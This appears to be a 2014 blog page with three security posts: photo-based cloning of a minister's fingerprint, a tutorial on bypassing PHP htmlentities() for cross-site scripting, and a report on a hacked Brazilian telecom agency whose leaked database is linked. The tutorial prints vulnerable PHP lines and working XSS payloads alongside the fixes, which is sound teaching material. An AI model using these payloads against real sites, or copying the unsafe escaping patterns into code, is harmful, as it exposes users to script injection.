They have successfully shown that it is quite possible to clone or reproduce anyone’s fingerprints. This clone can be used to break into anyone’s system, which is protected by the biometric fingerprint scanners. They just need the photo of someone’s fingers. According to the club, they do not need any close up photos; any photos with the celebrity waving the hands even from a far distance will do the trick.

Considering this case, the CCC was able to get their hands on the fingerprint of Germany’s defense minister Ursula von der Leyen through a photo, which was taken during a press conference. This could easily be considered as a security breach if the German government uses biometric access control systems.

The findings:

The findings were presented by Jan “Starbug” Krissler, the hacker at the Chaos communication congress. He was able to recreate the thumbprint of the minister by using a photo of the minister, which was taken at the press conference, and some other photos, which have take the picture of her thumb from multiple angles. He used one of the commercially available software called Verifinger Software.

Jan created a real world dummy by using this thumbprint. He started by printing it on a mask and then exposing the same to create a negative print on a substrate. Then he filled the negative with wood clue and created a new positive fingerprint. In case of testing, this technique can pose serious threat to Apple’s TouchID sensor and just in case the minister has Apple iphone then the company can seriously get her into trouble. By this, the company is hoping that the German government is not relying on fingerprints to control their military systems.

What is the drawback?

With the digital fingerprint readers becoming very common now and it is being on laptops to high-end expensive smartphones. The biggest problem with fingerprints is that they can give false positive, negative and even multiple readings of the same print and give out different results. Even though fingerprints are the best means of identification, still security and forensic communities are looking forwards towards more techniques that are reliable.

DNA sequencing is being considered a one of the best means of forensic identification, and vein matching and gait analysis are best options for control access. This technique is called living biometrics and as the name suggest it is only valid until the person is alive. This technique is already in use in Poland and Japan at some of their ATM’s.

If you are among the people who are using fingerprints for access control, it might be a good time to switch over to something more reliable.

الأربعاء، 31 ديسمبر 2014

How Can We Bypass HTMLEntities Tutorial

How Can We Bypass HTMLEntities Tutorial ?

The Security researcher Paulos Yibelo share with HOC that how he bypassing htmlentities().

Well I don’t know how to break it down for you, you just can’t (if the function is used properly and exactly where it should). But it’s more probable that most developers don’t use it the right way, since it’s like a norm for some developers to not use built-in functions properly :P. So I will talk about some of the cases I came up while pentesting. htmlentities() and htmlspecailchars() are functions mainly developed to filter out cross site scripting attacks.

But I can promise you that you can build a better function if your user input is massive since that’s when most exploitation scenarios begin. How? Well, the functions html entity the characters < , > “ and ‘. So without those there seems there is no XSS. Or isn’t really? Well, I can think of one. Something like javascript:alert(1); will be executed since none of the characters in it are filtered to be html entityed… but there is a limitation to this. Without using “> or any similar technique we will not be able to break out of the attribute we are inside.

Also the value attribute in html is not vulnerable since it only accepts strings and well we need scripts that can execute… something like href, onclick would do… but who would put such a foolish mistake right? Well you wouldn’t believe if I told you even big companies like Facebook does.
Have a code like?

print '<img src="'.htmlentities("$url").”';

or even
print "<a href='".htmlentities($url)."'>Click Here</a>";

“javascript:alert(1);” will bypass it because it doesn’t contain the characters that will be filtered. But notice a limitation here? Our code will only execute if user clicks the Click Here button. So that’s a huge limitation. Or is it? The html code will become something like

<a href='javascript:alert(1);'>Click Here</a>

But we need to break out of the href tag and execute a more malicious javascript. But how? If we try to break out of it using ‘> it won’t work since both those characters are filtered out… and the code will become something like

<a href='javascript:alert(1);">'>Click Here</a>

Right? Well not exactly. Htmlentities comes with single quote ( ‘ ) not filtered by default and you have to specify a special switch called ENT_QUOTES to declare that. So the real output when values like “javascript:alert(1);’>” is given

<a href='javascript:alert(1);'>'>Click Here</a>

A hope! We broke out of the attribute so giving values like

javascript:alert(1);’ onfocus=alert(1); autofocus

will output html source like

<a href='javascript:alert(1);' onfocus=alert(1); autofocus>Click Here</a>

So wow… our final payload to bypass the filter would look something like

paulos’ onfocus=alert(0); autofocus

Would successfully bypass the function htmlentities and prints out the source of

<a href='paulos' onfocus=alert(0) autofocus>Click Here</a>

Successful explotation of the function htmlentities. so why not use the switch to enable the single quote (‘) and make our code secured. something like

print "<a href='".htmlentities($url, ENT_QUOTES)."'>Click Here</a>";

Well now, we may can’t break out of the cage we are inside but still can execute JavaScript in the attribute we are inside. However, the value html attribute is off limits. we cannot execute JavaScript inside it. But when you find code like:

print "<input type='text' value=".htmlentities("$value").">";

even when using ENT_QUOTES, this is when value attribute becomes vulnerable.

paulos onmouseover=alert(1);

will successfully bypass the value parameter and make html code like

Cool.

So not using quotes got us vulnerable, we will just use quotes then. Well I recommend not using single quotes… that’s when your code nearly becomes vulnerable when you forgot to use the switch ENT_QUOTES, which you probably will.

But this isn’t just it… attackers can still attack your application using a different character set called UTF-7 even when you are using proper usage of htmlentities, so unless you protect your code by setting your charset to UTF-8 or any other charset other that 7, you are still vulnerable to XSS.

About The Author:
Paulos Yibelo, 17 years, a computer geek. He is a web-application security researcher and developer. He gets Acknowledgements and Rewards from big companies like Facebook, Microsoft, SoundCloud, AT&T, AVG and more companies.

الأربعاء، 24 ديسمبر 2014

ANATEL - Brazilian National Telecommunications Agency Hacked

ANATEL - Brazilian National Telecommunications Agency was hacked this week and hackers leaked the database and various information online.

Everything indicates that it is a form of protest against the telephone companies and the country's internet, Marco Civil and Internet freedom.

The hacker who identifies himself as [?] 1NC0GN1T0 [?], Also left a message for telephone operators GVT, Oi, Claro, Vivo, Tim, NET, Embratel and others.

Watch full detail:

ANATEL Hacked & exposed - Ghostbin